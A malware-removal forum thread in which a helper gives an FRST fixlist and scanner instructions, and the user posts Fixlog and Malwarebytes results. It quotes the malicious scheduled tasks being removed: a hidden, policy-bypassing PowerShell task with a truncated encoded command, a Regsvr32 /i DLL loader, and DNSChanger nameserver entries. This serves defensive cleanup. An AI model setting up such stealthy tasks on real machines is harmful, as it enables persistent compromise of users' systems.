Faulting module name: AdaptiveSleepService.exe, version: 0.0.0.0, time stamp: 0x559b2d64
Exception code: 0xc0000005
Fault offset: 0x000000000000b9f4
Faulting process id: 0x24c
Faulting application start time: 0xAdaptiveSleepService.exe0
Faulting application path: AdaptiveSleepService.exe1
Faulting module path: AdaptiveSleepService.exe2
Report Id: AdaptiveSleepService.exe3
Faulting package full name: AdaptiveSleepService.exe4
Faulting package-relative application ID: AdaptiveSleepService.exe5

Error: (04/18/2016 07:14:47 PM) (Source: System Restore) (EventID: 8193) (User: )
Description: Failed to create restore point (Process = C:\Program Files (x86)\InstallShield Installation Information\{E1646825-D391-42A0-93AA-27FA810DA093}\Setup.exe Files (x86)\InstallShield Installation Information\{E1646825-D391-42A0-93AA-27FA810DA093}\Setup.exe" /z-uninstall; Description = Configured PowerDirector; Error = 0x8007043c).

Error: (04/18/2016 07:13:15 PM) (Source: System Restore) (EventID: 8193) (User: )
Description: Failed to create restore point (Process = C:\Program Files (x86)\InstallShield Installation Information\{5A454EC5-217A-42a5-8CE1-2DDEC4E70E01}\Setup.exe Files (x86)\InstallShield Installation Information\{5A454EC5-217A-42a5-8CE1-2DDEC4E70E01}\Setup.exe" /z-uninstall; Description = Configured PhotoDirector; Error = 0x8007043c).


System errors:
=============
Error: (05/04/2016 05:31:56 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable

Error: (05/04/2016 04:04:15 PM) (Source: Service Control Manager) (EventID: 7034) (User: )
Description: The AdaptiveSleepService service terminated unexpectedly. It has done this 1 time(s).

Error: (05/04/2016 03:40:18 PM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: The Interactive Services Detection service terminated with the following error:
%%1

Error: (05/03/2016 06:49:43 PM) (Source: DCOM) (EventID: 10016) (User: NT AUTHORITY)
Description: application-specificLocalActivation{D63B10C5-BB46-4990-A94F-E40B9D520160}{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}NT AUTHORITYSYSTEMS-1-5-18LocalHost (Using LRPC)UnavailableUnavailable

Error: (05/03/2016 05:55:30 PM) (Source: Service Control Manager) (EventID: 7022) (User: )
Description: The McAfee Home Network service hung on starting.

Error: (05/03/2016 05:50:18 PM) (Source: EventLog) (EventID: 6008) (User: )
Description: The previous system shutdown at 5:16:30 PM on ‎5/‎3/‎2016 was unexpected.

Error: (05/03/2016 05:46:57 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: The Microsoft Account Sign-in Assistant service failed to start due to the following error:
%%1053

Error: (05/03/2016 05:41:57 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: The Microsoft Account Sign-in Assistant service failed to start due to the following error:
%%1053

Error: (05/03/2016 05:41:44 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: The Network Setup Service service failed to start due to the following error:
%%1053

Error: (05/03/2016 02:38:36 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: The Microsoft Account Sign-in Assistant service failed to start due to the following error:
%%1053


CodeIntegrity:
===================================
Date: 2016-05-03 18:07:01.633
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-27 14:05:53.656
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-17 13:29:58.639
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-15 03:53:00.197
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-14 21:11:42.553
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-11 21:26:24.481
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-04-05 22:22:07.487
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-03-26 22:58:27.745
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-03-23 17:39:45.861
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.

Date: 2016-03-23 17:39:44.445
Description: Code Integrity is unable to verify the image integrity of the file \Device\HarddiskVolume3\Windows\System32\efswrt.dll because the set of per-page image hashes could not be found on the system.


==================== Memory info ===========================

Processor: AMD A8-7410 APU with AMD Radeon R5 Graphics
Percentage of memory in use: 32%
Total physical RAM: 7102.88 MB
Available physical RAM: 4810.07 MB
Total Virtual: 8702.88 MB
Available Virtual: 6174.41 MB

==================== Drives ================================

Drive c: (Windows) (Fixed) (Total:911.58 GB) (Free:842.55 GB) NTFS
Drive d: (RECOVERY) (Fixed) (Total:18.74 GB) (Free:2.15 GB) NTFS ==>[system with boot components (obtained from drive)]
Drive f: () (Removable) (Total:0.12 GB) (Free:0.07 GB) FAT

==================== MBR & Partition Table ==================

========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: 70F786FA)

Partition: GPT.

========================================================
Disk: 1 (Size: 120 MB) (Disk ID: 00000000)

Partition: GPT.

==================== End of Addition.txt ============================

[Juliet]

I have a question: Are you located in Israel?


~~~~~~~~~~~~~~`
Please go to your add/remove programs list, find and delete/uninstall
Extended Update (HKU\S-1-5-21-4202283924-1420085414-670275171-1001\...\UpdaterEX) (Version: - Extended Update) <==== ATTENTION

~~~~~~~~~~~~~~~~~~~~~~~~`

Please open Notepad *Do Not Use Wordpad!* or use any other text editor than Notepad or the script will fail. (Start -> Run -> type notepad in the Open field -> OK) and copy and paste the text present inside the quote box below:
To do this highlight the contents of the box and right click on it and select copy.
Paste this into the open notepad. save it to the Desktop as fixlist.txt
NOTE. It's important that both files, FRST/FRST64 and fixlist.txt are in the same location or the fix will not work.
It needs to be saved Next to the "Farbar Recovery Scan Tool" (If asked to overwrite existing one please allow)

start
CreateRestorePoint:
CloseProcesses:
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
SearchScopes: HKLM-x32 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-4202283924-1420085414-670275171-1001 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
Task: {1113F225-EA59-49C7-ADEC-2151FD0CDA41} - System32\Tasks\UpdaterEX => C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc\UpdateTask.exe [2013-04-12] () <==== ATTENTION
Task: {9FA5458F-A4B3-4476-A24C-DB276B8FA302} - System32\Tasks\{0E0A7F47-7D0D-7D7F-0B11-0E7F0F051108} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcA (the data entry has 9428 more characters). <==== ATTENTION
Task: {DA112266-BA51-406E-8FA1-0E100D95431E} - System32\Tasks\{FE5715A3-8331-3758-820E-049D9892433D} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\44432c61\45604e7b.dll" <==== ATTENTION
ShortcutWithArgument: C:\Users\nikki\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\AmazonShopping.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.amazon.com/gp/bit/amazonbookmark.html?tag=hp2-desktop-us-20&partner=HP
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Priceline.com.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.priceline.com/?refid=PLHBC6240OPQ&refclickid=square
CMD: ipconfig /flushdns
CMD: netsh winsock reset all
CMD: netsh int ipv4 reset
CMD: netsh int ipv6 reset
EmptyTemp:
Hosts:
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f

Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
End

Open FRST/FRST64 and press the > Fix < button just once and wait.
If for some reason the tool needs a restart, please make sure you let the system restart normally. After that let the tool complete its run.
When finished FRST will generate a log on the Desktop (Fixlog.txt). Please post it to your reply.
~~~~~~~~~~~~~~~~~~~~~~~``

NEXT***
Please download the Malwarebytes Anti-Malware setup file to your Desktop.

OR from this location Malwarebytes' Anti-Malware

• Open mbam-setup.x.x.xxxx.exe (x represents the version #) and follow the prompts to install the programme.
  
• On the Dashboard click on Update Now
  
• Go to the Setting Tab
  
• Under Setting go to Detection and Protection
  
• Under PUP and PUM make sure both are set to show Treat Detections as Malware
  
• Go to Advanced setting and make sure Automatically Quarantine Detected Items is checked
  
• Then on the Dashboard click on Scan
  
• Make sure to select THREAT SCAN
  
• Then click on Scan
  
• Note: You may see the following message, "Could not load DDA driver". Click Yes, allow your PC to reboot and continue afterwards.
• If threats are detected, click Remove Selected. If you are prompted to reboot, click Yes.
• Upon completion of the scan (or after the reboot), click the History tab.
• Click Application Logs, followed by the first Scan Log.
• Click Export,followed by Copy to Clipboard. Paste the log in your next reply.
  

AdwCleaner

• Please download AdwCleaner and save the file to your Desktop.
• Right-click AdwCleaner.exe and select Run as administrator to run the programme.
• Follow the prompts.
• Click Scan.
• Upon completion, click Logfile. A log (AdwCleaner[S1].txt) will open. Briefly check the log for anything you know to be legitimate.
• Return to AdwCleaner. Ensure anything you know to be legitimate does not have a checkmark under the corresponding tab.
• Click Clean.
• Follow the prompts and allow your computer to reboot.
• After the reboot, a log (AdwCleaner[C1].txt) will open. Copy the contents of the log and paste in your next reply.

-- File and folder backups are made for items removed using this programme. Should a legitimate file or folder be removed (otherwise known as a 'false-positive'), simple steps can be taken to restore the item. Please do not overly concern yourself with the contents of AdwCleaner[C1].txt.




======================================================



Please download Junkware Removal Tool
or from here http://downloads.malwarebytes.org/file/jrt
to your desktop.

• Shut down your protection software now to avoid potential conflicts.
• Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
• The tool will open and start scanning your system.
• Please be patient as this can take a while to complete depending on your system's specifications.
• On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
• Post the contents of JRT.txt into your next message.

~~~~~~~~~~~~
please post
Fixlog.txt
Malwarebytes' Anti-Malware log
AdwCleaner[C1].txt
JRT.txt

[KillerPepper]

I'm not too thrilled to have you ask that question. I live in the USA in a southern state. Why exactly do you ask?

Also, I have deleted the Extended Update program. Here are the logs.

Fix result of Farbar Recovery Scan Tool (x64) Version:06-05-2016 02
Ran by nikki (2016-05-05 16:48:44) Run:2
Running from C:\Users\nikki\Desktop\FRST
Loaded Profiles: nikki (Available Profiles: nikki)
Boot Mode: Normal
==============================================

fixlist content:
*****************
start
CreateRestorePoint:
CloseProcesses:
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = about:blank
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
SearchScopes: HKLM-x32 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-4202283924-1420085414-670275171-1001 -> {7AD316DD-F34F-4BA0-B332-6E505C211C27} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
Task: {1113F225-EA59-49C7-ADEC-2151FD0CDA41} - System32\Tasks\UpdaterEX => C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc\UpdateTask.exe [2013-04-12] () <==== ATTENTION
Task: {9FA5458F-A4B3-4476-A24C-DB276B8FA302} - System32\Tasks\{0E0A7F47-7D0D-7D7F-0B11-0E7F0F051108} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAcwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAFAAcgBvAGcA (the data entry has 9428 more characters). <==== ATTENTION
Task: {DA112266-BA51-406E-8FA1-0E100D95431E} - System32\Tasks\{FE5715A3-8331-3758-820E-049D9892433D} => Regsvr32.exe /s /n /i:"/rt" "C:\PROGRA~3\44432c61\45604e7b.dll" <==== ATTENTION
ShortcutWithArgument: C:\Users\nikki\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\AmazonShopping.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.amazon.com/gp/bit/amazonbookmark.html?tag=hp2-desktop-us-20&partner=HP
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Priceline.com.lnk -> C:\Program Files (x86)\Hewlett-Packard\Shared\WizLink.exe () -> hxxp://www.priceline.com/?refid=PLHBC6240OPQ&refclickid=square
CMD: ipconfig /flushdns
CMD: netsh winsock reset all
CMD: netsh int ipv4 reset
CMD: netsh int ipv6 reset
EmptyTemp:
Hosts:
Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f

Reg: reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
Reg: reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f
End
*****************

Restore point was successfully created.
Processes closed successfully.
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main\\Start Page => value restored successfully
HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main\\Start Page => value not found.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{7AD316DD-F34F-4BA0-B332-6E505C211C27} => key not found.
HKCR\Wow6432Node\CLSID\{7AD316DD-F34F-4BA0-B332-6E505C211C27} => key not found.
HKU\S-1-5-21-4202283924-1420085414-670275171-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{7AD316DD-F34F-4BA0-B332-6E505C211C27} => key not found.
HKCR\CLSID\{7AD316DD-F34F-4BA0-B332-6E505C211C27} => key not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1113F225-EA59-49C7-ADEC-2151FD0CDA41} => key not found.
C:\WINDOWS\System32\Tasks\UpdaterEX => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\UpdaterEX => key not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9FA5458F-A4B3-4476-A24C-DB276B8FA302} => key not found.
C:\WINDOWS\System32\Tasks\{0E0A7F47-7D0D-7D7F-0B11-0E7F0F051108} => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{0E0A7F47-7D0D-7D7F-0B11-0E7F0F051108} => key not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DA112266-BA51-406E-8FA1-0E100D95431E} => key not found.
C:\WINDOWS\System32\Tasks\{FE5715A3-8331-3758-820E-049D9892433D} => not found.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{FE5715A3-8331-3758-820E-049D9892433D} => key not found.
C:\Users\nikki\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\AmazonShopping.lnk => Shortcut argument removed successfully.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Priceline.com.lnk => Shortcut argument removed successfully.

========= ipconfig /flushdns =========


Windows IP Configuration

Successfully flushed the DNS Resolver Cache.

========= End of CMD: =========


========= netsh winsock reset all =========


Sucessfully reset the Winsock Catalog.
You must restart the computer in order to complete the reset.


========= End of CMD: =========


========= netsh int ipv4 reset =========

Resetting Interface, OK!
Resetting Unicast Address, OK!
Resetting Neighbor, OK!
Resetting Path, OK!
Resetting , failed.
Access is denied.

Resetting , OK!
Restart the computer to complete this action.


========= End of CMD: =========


========= netsh int ipv6 reset =========

Resetting Interface, OK!
Resetting Neighbor, OK!
Resetting Path, OK!
Resetting , failed.
Access is denied.

Resetting , OK!
Restart the computer to complete this action.


========= End of CMD: =========

C:\Windows\System32\Drivers\etc\hosts => moved successfully
Hosts restored successfully.

========= reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========


========= reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========


========= reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========


========= reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local /f =========

The operation completed successfully.



========= End of Reg: =========

EmptyTemp: => 14.9 MB temporary data Removed.


The system needed a reboot.

==== End of Fixlog 16:49:00 ====

Malwarebytes Anti-Malware
www.malwarebytes.org

Scan Date: 5/5/2016
Scan Time: 4:58 PM
Logfile: MAM log.txt
Administrator: Yes

Version: 2.2.1.1043
Malware Database: v2016.05.05.04
Rootkit Database: v2016.04.17.01
License: Free
Malware Protection: Disabled
Malicious Website Protection: Disabled
Self-protection: Disabled

OS: Windows 10
CPU: x64
File System: NTFS
User: nikki

Scan Type: Threat Scan
Result: Completed
Objects Scanned: 347113
Time Elapsed: 19 min, 41 sec

Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

Processes: 0
(No malicious items detected)

Modules: 0
(No malicious items detected)

Registry Keys: 4
PUP.Optional.WeatherBug, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WeatherBug®, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{1B9604EE-B104-45C8-8551-5F63BA631E23}, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{44432C61}, Quarantined, [a2a602d08b0e01358700695218ec51af],
PUP.Optional.ProductSetup, HKU\S-1-5-21-4202283924-1420085414-670275171-1001\SOFTWARE\PRODUCTSETUP, Quarantined, [e95ff9d99ffaca6cb33e232d72923dc3],

Registry Values: 10
PUP.Optional.NetRadio, HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_BROWSER_EMULATION|NetRadio.exe, 11001, Quarantined, [d5735d75603924122b415c52ca3a649c]
PUP.Optional.NetRadio, HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_BROWSER_EMULATION|NetRadio.vshost.exe, 11001, Quarantined, [57f1a52db8e1e35394d9921c42c27090]
PUP.Optional.NetRadio, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_BROWSER_EMULATION|NetRadio.exe, 11001, Quarantined, [2a1e0ec4029702348ede703e2dd7e11f]
PUP.Optional.NetRadio, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_BROWSER_EMULATION|NetRadio.vshost.exe, 11001, Quarantined, [be8af5dd900984b2e885941a0df79b65]
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{44432c61}|1, 1458185330, Quarantined, [a2a602d08b0e01358700695218ec51af]
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{244d3898-9897-47be-b651-9908cc9b6b24}|NameServer, 82.163.143.171 82.163.142.173, Quarantined, [18303b97f2a7d462beb2516a90742ad6]
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{47454114-24b9-4282-ad67-f96c33b2fbde}|NameServer, 82.163.143.171 82.163.142.173, Quarantined, [f94f23afff9a90a62050d6e5c440659b]
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{c2210255-7e44-43ba-aca0-6679d22815e2}|NameServer, 82.163.143.171 82.163.142.173, Quarantined, [e0682fa37227e94d5f11f7c429dba25e]
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\INTERFACES\{cc6031a8-cb31-4b60-b4e8-65e26fb887ca}|NameServer, 82.163.143.171 82.163.142.173, Quarantined, [e464c40eeaaf0630f080a912a85caa56]
PUP.Optional.ProductSetup, HKU\S-1-5-21-4202283924-1420085414-670275171-1001\SOFTWARE\PRODUCTSETUP|tb, 0T1J1E1B1J0S0S0X0K2W1D1M, Quarantined, [e95ff9d99ffaca6cb33e232d72923dc3]

Registry Data: 1
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|NameServer, 82.163.143.171 82.163.142.173, Good: (8.8.8.8), Bad: (82.163.143.171 82.163.142.173),Replaced,[b7918e44207996a08eea72e5db2afa06]

Folders: 35
PUP.Optional.UpdateProc, C:\Users\nikki\AppData\Roaming\UpdaterEX\UpdateProc, Quarantined, [78d0d200fe9bd85e6bfbd987f311a65a],
PUP.Optional.UpdateProc, C:\Users\nikki\AppData\Roaming\UpdaterEX, Quarantined, [78d0d200fe9bd85e6bfbd987f311a65a],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\10755C93, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1194B90A, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\1382EDFA, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2AF55881, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\2F536942, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\4D8E513, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\557E91D7, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\609C82D7, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\76981FF9, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\88EF8CFE, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B16299D3, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B2735F12, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\B2890989, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\D759BF7C, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\F1B200E5, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\ED87AFBD\FB6F57A0, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mDown.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mFileBagIDE.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mFileBagIDE.dll\bag, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mIDEFunc.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mMSI.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.WeatherBug, C:\ProgramData\{FA77A43D-F6ED-4924-87B5-517C061388C6}\OFFLINE\mWinRun.dll, Quarantined, [71d7656d7227fe383e4e91d17b8930d0],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\3ad116be-01b3-0, Quarantined, [0840be14dfba6bcb1baf7bc945beae52],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\3ad116be-3e25-1, Quarantined, [48005c76267344f27357251faf5430d0],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\9d040e82-06f1-0, Quarantined, [c28617bb3762f5414684d66eaf54f808],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\9d040e82-41a7-0, Quarantined, [2028f7db4653bf777a5097ad4ab9e51b],
PUP.Optional.DNSUnlocker.ACMB2, C:\ProgramData\9d040e82-6c77-0, Quarantined, [ae9a0dc58811c472bd0d2e1672914eb2],
